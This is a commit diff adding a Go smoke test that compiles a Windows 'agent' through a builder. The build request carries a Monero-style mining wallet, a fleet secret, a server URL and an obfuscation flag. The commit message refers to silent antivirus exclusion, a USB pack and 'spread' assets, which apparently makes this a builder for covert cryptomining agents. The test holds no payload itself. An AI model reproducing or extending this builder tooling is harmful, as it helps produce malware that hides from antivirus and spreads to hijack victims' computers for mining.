Release validation: tests green, USB pack, fleet UX and API hardening.

Fix macOS agent cross-compile (SilentAVExclusion) and Calibrate E2E nav selector; expand tests and docs; refresh portable usb binary and spread/wiki assets.

server/internal/builder/live_forge_smoke_test.go

@@ -0,0 +1,49 @@
+//go:build liveforge
+
+package builder
+
+import (
+	"context"
+	"os"
+	"strings"
+	"testing"
+	"time"
+)
+
+// TestLiveForgeWindowsSmoke compiles a real Windows agent via buildAgent.
+// Run: go test -tags liveforge -run TestLiveForgeWindowsSmoke -timeout 10m
+func TestLiveForgeWindowsSmoke(t *testing.T) {
+	if os.Getenv("LIVE_FORGE") != "1" {
+		t.Skip("set LIVE_FORGE=1 to run real compile smoke test")
+	}
+	h, database := testHandlerDB(t)
+	defer database.Close()
+	h.SetFleetSecret("live-forge-smoke-secret")
+
+	req := &BuildRequest{
+		TargetOS:   "windows",
+		TargetArch: "amd64",
+		WorkerName: "live-smoke",
+		ServerURL:  "http://127.0.0.1:8989",
+		Wallet:     "48" + strings.Repeat("A", 93),
+		Obfuscate:  false,
+	}
+	ctx, cancel := context.WithTimeout(context.Background(), 8*time.Minute)
+	defer cancel()
+
+	resp, code, outputPath := h.buildAgent(ctx, req, "")
+	if code != 200 || !resp.Success {
+		t.Fatalf("build failed: code=%d resp=%+v", code, resp)
+	}
+	if outputPath == "" {
+		t.Fatal("empty output path")
+	}
+	st, err := os.Stat(outputPath)
+	if err != nil {
+		t.Fatalf("output missing: %v", err)
+	}
+	if st.Size() < 1_000_000 {
+		t.Fatalf("output too small: %d bytes", st.Size())
+	}
+	t.Logf("forge ok: %s (%d bytes) build_id=%s", outputPath, st.Size(), resp.BuildID)
+}